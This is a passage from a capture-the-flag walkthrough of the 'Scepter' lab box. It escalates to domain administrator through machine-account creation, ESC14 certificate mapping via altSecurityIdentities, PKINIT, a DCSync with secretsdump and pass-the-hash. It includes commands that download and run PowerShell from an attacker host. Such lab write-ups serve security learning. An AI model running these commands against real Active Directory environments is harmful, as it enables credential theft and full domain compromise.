Assuming that the certificate template to use is HelpdeskEnrollmentCertificate, we don’t yet have a “victim” object. We noted earlier that the certificate template only allows Domain Computers to enroll… so we’ll have to make one!
I’ll make a new machine account / “computer” on the domain, to use as the “victim”:
faketime -f '+8h' bloodyAD --host dc01.scepter.htb -d scepter.htb -k add computer 'fourway' 'handshake'
But it doesn’t work:

Huh? Unwilling to perform? Such insolence! Why are we getting this error? The typical reason is that the MAQ (machine account quota) is already used-up or set to 0, so let’s check that:
faketime -f '+8h' ldapsearch -Y GSSAPI -H ldap://dc01.scepter.htb -b "DC=scepter,DC=htb" "(objectClass=*)" ms-DS-MachineAccountQuota
In the first entry of the results, we can see that the MAQ (a domain-level property) is set to 0:

However, that doesn’t mean it’s impossible. In Active Directory, properties that are defined directly on an object always take precedence over inherited properties - and when one inherited property is “closer” than another inherited property, it will take precedence.
Ultimately, this means that we should check all compromised users, their groups, and their OUs, for some kind of “override” to the MAQ.
Note that we don’t need to re-check
h.brownat all. We already know they aren’t an option. Likewise, there’s no need to recheck any of the groups thath.brownis in:
However, it’s sufficient just to check if any of the compromised users can do it (since their groups, containers, or OUs would provide a “closer” inheritance than domain-level policy)
Let’s check d.baker first:
faketime -f '+8h' bloodyAD --host dc01.scepter.htb -d scepter.htb -u 'd.baker' -p ':18b5fb0d99e7a475316213c15b6f22ce' add computer 'fourway' 'handshake'

Nope - same problem. How about a.carter?
bloodyAD --host dc01.scepter.htb -d scepter.htb -u d.baker -p ':18b5fb0d99e7a475316213c15b6f22ce' set password 'a.carter' 'Cr0wCr0w'
bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p 'Cr0wCr0w' add computer 'fourway' 'handshake'

😁 Got it! We were able to add a new Domain Computer.
The fact that one user is able to override the MAQ gives me a bit of hope that we’re on the right track…
We can check our work using another Bloodhound collection:
rusthound-ce -d 'scepter.htb' -f 'dc01.scepter.htb' -u 'a.carter' -p 'Cr0wCr0w' -z

Recheck preconditions
✅ The target: p.adams. Excellent privesc opportunity from there.
✅ h.brown has the ability to write altSecurityIdentities of the p.adams.
✅ The “victim”: our newly-created domain computer fourway. This is the entity that will enroll in HelpdeskEnrollmentCertificate. We’ll then map to this certificate from p.adams via the altSecurityIdentities property.
ESC14(a)
Note that ESC14 has 4 variants. We’re using ESC14(a). For more details, read the sources I linked earlier.
Strategy
Since the strategy has a few steps involved, I’ll once again number them to make a plan:
- Add a new domain computer using a.carter (done)
- Obtain the
HelpdeskEnrollmentCertificateas our new domain computer. - Transfer the resulting
.pfxcertificate to the target, so we can analyze it using powershell-based tools. - Run
certutilto extract the serial number (and issuer) from the certificate. - Use the serial number and issuer to create a well-formatted X509 Issuer Serial Number string.
- Write the
altSecurityIdentitiesofp.adamswith this X509 Issuer Serial Number string. - Request a TGT, using the certificate obtained in (2), producing the ASREP hash as a side-effect.
Execution
Note: for the following steps, I’ll be switching between the attacker host and the h.brown WinRM shell.
Step 1
This is already shown above, but for completeness I’ll repeat it here
bloodyAD --host dc01.scepter.htb -d scepter.htb -u d.baker -p ':18b5fb0d99e7a475316213c15b6f22ce' set password 'a.carter' 'Cr0wCr0w'
bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p 'Cr0wCr0w' add computer 'fourway' 'handshake'
Step 2
certipy req -u "fourway$@scepter.htb" -p 'handshake' -ca scepter-DC01-CA -template HelpdeskEnrollmentCertificate

Step 3
Set up an HTTP server to serve the
fourway.pfxfile to thedc01.scepter.htb
cd C:\Users\h.brown\AppData\Local\Temp
curl "http://10.10.14.13:8000/fourway.pfx" -o .\fourway.pfx
Step 4
Tee the output into a file, so we can extract what we need afterwards:
certutil -Dump -v .\fourway.pfx | Tee-Object -FilePath 'dump.log'

Get the serial number and issuer as variables:
$SERIAL_NUMBER = (Select-String -Path dump.log -Pattern 'Serial Number:\s*([0-9a-f]+)').Matches[0].Groups[1].Value
$ISSUER = "CN=scepter-DC01-CA,DC=scepter,DC=htb"
Step 5
Load the Get-X509IssuerSerialNumberFormat.ps1 script into memory, then run it using our collected info
👇 Tip: wrapping the command in parentheses performs the variable assignment, but also echoes the result.
iex (New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/Get-X509IssuerSerialNumberFormat.ps1")
($altSecID = Get-X509IssuerSerialNumberFormat -SerialNumber "$SERIAL_NUMBER" -IssuerDistinguishedName "$ISSUER")
Step 6
Load the Add-AltSecIDMapping.ps1 script into memory, then use it to edit the altSecurityIdentites of p.adams
iex (New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/Add-AltSecIDMapping.ps1")
Add-AltSecIDMapping -DistinguishedName "CN=P.ADAMS,OU=HELPDESK ENROLLMENT CERTIFICATE,DC=SCEPTER,DC=HTB" -MappingString "$altSecID"
(Optional) check our work
Get-AltSecIDMapping -SearchBase "CN=P.ADAMS,OU=HELPDESK ENROLLMENT CERTIFICATE,DC=SCEPTER,DC=HTB"

This reflects the correct serial number, which we obtained in step 5 👍
Step 7
Finally, we can to the actual privesc to p.adams by requesting the certificate. Steps 1-6 have just been preparation for this:
PFX=/home/kali/Box_Notes/Scepter/loot/fourway.pfx
faketime -f '+8h' python3 gettgtpkinit.py -cert-pfx $PFX -dc-ip 'dc01.scepter.htb' 'scepter.htb/p.adams' '/home/kali/Box_Notes/Scepter/loot/p.adams.ccache'

😂 Alright! We got the TGT - we’ve now escalated privilege to p.adams.
Get the NT hash
Any time I get a TGT in this way, I like to also obtain the NT hash. It’s both convenient and useful.
Plus, it was only
h.brownin theProtected Usersgroup, so we should be able to utilize any other users’ NT hashes.
export KRB5_CONFIG=/home/kali/Box_Notes/Scepter/custom_krb5.conf
export KRB5CCNAME=/home/kali/Box_Notes/Scepter/loot/p.adams.ccache
faketime -f '+8h' python3 getnthash.py -key $ASREP -dc-ip $RADDR 'scepter.htb/p.adams'

DCSync Attack
Earlier, when we initially gained a shell as h.brown we collected some Bloodhound data that revealed the final privesc vector:

We’ve done the hard work of compromising p.adams, so it’s time to “cash-in our chips” and perform the final step, the DCSync attack.
There are lots of ways to dump NTDS, but this way is very convenient.
secretsdump.py -hashes ':1b925............118ce0' 'scepter.htb'/'p.adams'@'dc01.scepter.htb'

😆 There’s the administrator NT hash! Let’s use it to log in as administrator:
evil-winrm -i scepter.htb -u administrator -H 'a291ea.............ea21c4'

👌 Perfect - read the flag to finish off the box:
type C:\Users\administrator\Desktop\root.txt
CLEANUP
Target
I’ll get rid of the spot where I place my tools, /tmp/.Tools:
Remove-Item -Path "C:\Users\h.brown\AppData\Local\Temp\*" -Recurse -Force
Attacker
It’s a good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
LESSONS LEARNED

Attacker
evil-winrm handles -i in a weird way. I’ve used both IP addresses and FQDNs with the
evil-winrm-iswitch before. It works fine. Until now, I always assumed that it would simply read my/etc/hostsfile to translate the FQDN into an IP address, if that’s what was provided. On this box, I realized that that’s not the whole story:evil-winrmalso uses the FQDN provided in-ias a way to query the Kerberos system! When logging into theh.brown(a member ofProtected Users) we were forced to use the FQDN instead of just an IP address.Check manually for writable objects. This is an important step to take right after gaining a shell as a new user. It’s useful to also check for indirect rights that can appear due to group membership. Excellent tools for this are
bloodyAD, anddacleditwith some bash scripting.Check for AD CS abuse manually. Maybe it will have been corrected by the time this walkthrough is published, but the automated tools
CertifyandCertipywill both miss opportunities for ESC14. Likewise, they won’t show up in Bloodhound. It’s important to do a few manual checks, and try to spot interesting/odd attributes on the certificate templates.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake

